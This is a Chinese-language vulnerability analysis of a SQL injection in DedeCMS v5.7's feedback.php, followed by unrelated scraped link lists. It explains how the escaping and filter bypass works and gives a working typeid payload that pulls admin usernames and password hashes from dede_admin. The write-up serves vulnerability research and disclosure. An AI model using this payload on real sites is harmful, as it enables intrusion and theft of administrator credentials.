该漏洞是cyg07在乌云提交的, 漏洞文件: plus\feedback.php。
存在问题的代码:

01 ...
02 if($comtype == 'comments')
03     {
04         $arctitle addslashes($title);
05         if($msg!='')
06         {//$typeid变量未做初始化
07             $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
08                    VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime''{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
09         echo $inquery;//调试,输出查询语句
10             $rs $dsql->ExecuteNoneQuery($inquery);
11             if(!$rs)
12             {
13                 ShowMsg(' 发表评论错误! ''-1');
14                 //echo $dsql->GetError();
15                 exit();
16             }
17         }
18     }
19     //引用回复
20     elseif ($comtype == 'reply')
21     {
22         $row $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
23         $arctitle $row['arctitle'];
24         $aid =$row['aid'];
25         $msg $quotemsg.$msg;
26         $msg = HtmlReplace($msg, 2);
27         $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
28                 VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
29         $dsql->ExecuteNoneQuery($inquery);
30 }

完整的输入语句,第二个参数 typeid可控。

1 INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('108','2','游客','paxmac','127.0.0.1','1','1351774092''0','0','0','feedback','0','nsfocus&&paxmac team');

想要利用注入,就要先了解下dedecms的防御机制。
首先他对一切request进来的参数都会进行转义,具体看代码

common.inc.php文件 会把所有的request进行处理。

01 function _RunMagicQuotes(&$svar)
02 {
03     if(!get_magic_quotes_gpc())
04     {
05         ifis_array($svar) )
06         {
07             foreach($svar as $_k => $_v$svar[$_k] = _RunMagicQuotes($_v);
08         }
09         else
10         {
11             ifstrlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
12             {
13               exit('Request var not allow!');
14             }
15             $svar addslashes($svar);
16         }
17     }
18     return $svar;
19 }
20 …..
21 foreach(Array('_GET','_POST','_COOKIE'as $_request)
22     {
23         foreach($$_request as $_k => $_v)
24         {
25             if($_k == 'nvarname') ${$_k} = $_v;
26             else ${$_k} = _RunMagicQuotes($_v);
27         }
28     }
29 ….

从上面代码可以看到他对外来的提交进行了转义处理,但是在filter.ini.php文件中

01 function _FilterAll($fk, &$svar)
02 {
03     global $cfg_notallowstr,$cfg_replacestr;
04     ifis_array($svar) )
05     {
06         foreach($svar as $_k => $_v)
07         {
08             $svar[$_k] = _FilterAll($fk,$_v);
09         }
10     }
11     else
12     {
13         if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i"$svar))
14         {
15             ShowMsg(" $fk has not allow words!",'-1');
16             exit();
17         }
18         if($cfg_replacestr!='')
19         {
20             $svar = preg_replace('/'.$cfg_replacestr.'/i'"***"$svar);
21         }
22     }
23     return $svar;
24 }
25  
26 /* 对_GET,_POST,_COOKIE进行过滤 */
27 foreach(Array('_GET','_POST','_COOKIE'as $_request)
28 {
29     foreach($$_request as $_k => $_v)
30     {
31         ${$_k} = _FilterAll($_k,$_v);
32     }
33 }

上面是处理敏感词的代码,但是又对变量进行了注册,导致了变量二次覆盖漏洞。其实这漏洞很早前就存在,之前的是因为对提交的变量只检查一维数组的key,可以被绕过从而创建不允许的系统配置变量,dedecms历来的修改都让人摸不着头脑,修补的都是表面的东西,实质导致漏洞问题的原因不做修改。从这次的补丁看来,他就只加了一句判断$typeid是否为数字,对于80sec的防注入代码2次被绕过还继续无视。
所以在GPC=OFF的时候,被转义的变量又会被重新覆盖而变成正常代码。
Eg: typeid=2\’ 经过覆盖 typeid=2’
研究过上次dedecms SQL注入的问题的同学肯定了解他的防注入机制。这里做下简单的分析。他对于\到\之间的内容作为可信任,不对其进行检查。所以我们只要把想利用的代码放在’ ‘内就能躲过检查。利用Mysql的一个语法,他的值@`’`为空,下面来构造漏洞exp:
typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM dede_admin)),(108,’1111
我用tamper data提交此参数,

其实这里也利用了一个小bug

可以看到他的表结构,只有msg可以为null,但是利用代码中在username中用了null,这是非法的语句,单独插入是不会成功的,但是后面一句语句是成立的,insert (a,b) values (1,1),(2,2) (1,1,)非法 (2,2)符合条件的时候会成功同时插入2条语句。由于显示字符数量的问题,所以选择了msg字段作为输出。

Dedecms v5.7 最新注入分析的更多相关文章

  1. DedeCMS V5.7sp2最新版本parse_str函数SQL注入漏洞

    织梦dedecms,在整个互联网中许多企业网站,个人网站,优化网站都在使用dede作为整个网站的开发架构,dedecms采用php+mysql数据库的架构来承载整个网站的运行与用户的访问,首页以及栏目 ...

  2. Dedecms <= V5.6 Final模板执行漏洞

    漏洞版本: Dedecms V5.6 Final 漏洞描述: Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上 ...

  3. CVE-2018-20129:DedeCMS V5.7 SP2前台文件上传漏洞

    一.漏洞摘要 漏洞名称: DedeCMS V5.7 SP2前台文件上传漏洞上报日期: 2018-12-11漏洞发现者: 陈灿华产品首页: http://www.dedecms.com/软件链接: ht ...

  4. DedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221)

    dedeCMS  V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221) 一.漏洞描述 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统.Dedecms V5.7 SP2 ...

  5. 织梦DedeCms网站内部SEO详细分析

    一.确定网站的目标关键词 最为重要的一方面,一般网站首页的目标关键词建议在1-3个.对于目标关键词的选取有几个建议 1.定位:网站的内容和业务相关 2.分析:对用户体验及竞争对手的网站进行分析 3.筛 ...

  6. 为dedecms v5.7的ckeditor添加jwplayer插件

    dedecms v5.7的默认编辑器是ckeditor,不过用的是php版本的,默认的工具栏不在config.js里面配置,而是在ckeditor.inc.php里面配置,默认的工具栏是$toolba ...

  7. Dedecms v5.7包含上传漏洞利用

    Title:Dedecms v5.7包含上传漏洞利用 --2012-09-21 10:16 注册,登录,免邮箱验证. up.htm ---------------------------------- ...

  8. 织梦DedeCMS v5.7 实现导航条下拉菜单

    首先将下面这段代码贴到templets\default\footer.htm文件里(只要在此文件里就行,位置无所谓) <</span>script type='text/javasc ...

  9. 技能提升丨Seacms 8.7版本SQL注入分析

    有些小伙伴刚刚接触SQL编程,对SQL注入表示不太了解.其实在Web攻防中,SQL注入就是一个技能繁杂项,为了帮助大家能更好的理解和掌握,今天小编将要跟大家分享一下关于Seacms 8.7版本SQL注 ...

随机推荐

  1. Dottrace跟踪代码执行时间

    当自己程序遇到性能问题,比如请求反应缓慢,怎么分析是哪里出了问题呢?dottrace可以帮助.net程序跟踪出代码里每个方法的执行时间,这样让我们更清晰的看出是哪里执行时间过长,然后再分析应该怎样解决 ...

  2. VBS基础篇 - 过程(sub 与 Function)

    VBS基础篇 - 过程(sub 与 Function) 在VBscript中,有两种procedure:Sub procedure与Function procedure Sub过程:是包含在 Sub  ...

  3. 关于个人博客和Github地址提交

    请大家尽快按照http://www.cnblogs.com/SivilTaram/p/5857858.html的要求提交个人博客和Github地址.谢谢!

  4. 如何利用花生壳和VisualSVN Server建立远程代码仓库

    如何利用花生壳和VisualSVN建立远程代码仓库 最近由于项目需要,要远程访问实验室的svn服务器,但是实验室没有固定域名和ip,因此就打算用花生壳申请一个免费的域名构建一个服务器,再把Visual ...

  5. 《android基于andFix的热修复方案》实战篇

    有篇文章说的比较简洁,大家可以参考下:AndFix使用说明 下面说说实际使用中遇到的问题 1:如何继承到gradle项目中 dependencies { compile 'com.alipay.eul ...

  6. [USACO2004][poj1985]Cow Marathon(2次bfs求树的直径)

    http://poj.org/problem?id=1985 题意:就是给你一颗树,求树的直径(即问哪两点之间的距离最长) 分析: 1.树形dp:只要考虑根节点和子节点的关系就可以了 2.两次bfs: ...

  7. Javascript基础系列之(七)函数(对象和属性)

    包含在对象里的数据可以通过两种方式来访问 既属性的对象(property)和方法(method) 属性是隶属于某个特定对象的变量,方法则是某个特定对象才能调运的函数. 对象是由一些彼此相关的属性和方法 ...

  8. DOM(一)模型中的模型节点

    <html>位于网页的顶端 它没有父辈,称之为根节点 1.元素节点(element node) 可以说,整个DOM模型都是由元素节点(element node)组成 比如文本段落元素“&l ...

  9. 第二章:javascript: 数组

    数组是编程世界里最常见的数据结构.任何一种编程语言都包含数组,只是形式稍微有差异.数组是编程语言中的内建类型,通常效率都很高.可以满足不同需求的数据存储,本章将探索javascript中的数组工作原理 ...

  10. iOS--隐藏和显示TabBar的方法

    1.隐藏TabBar: - (void)hideTabBar { if (self.tabBarController.tabBar.hidden == YES) { return; } UIView  ...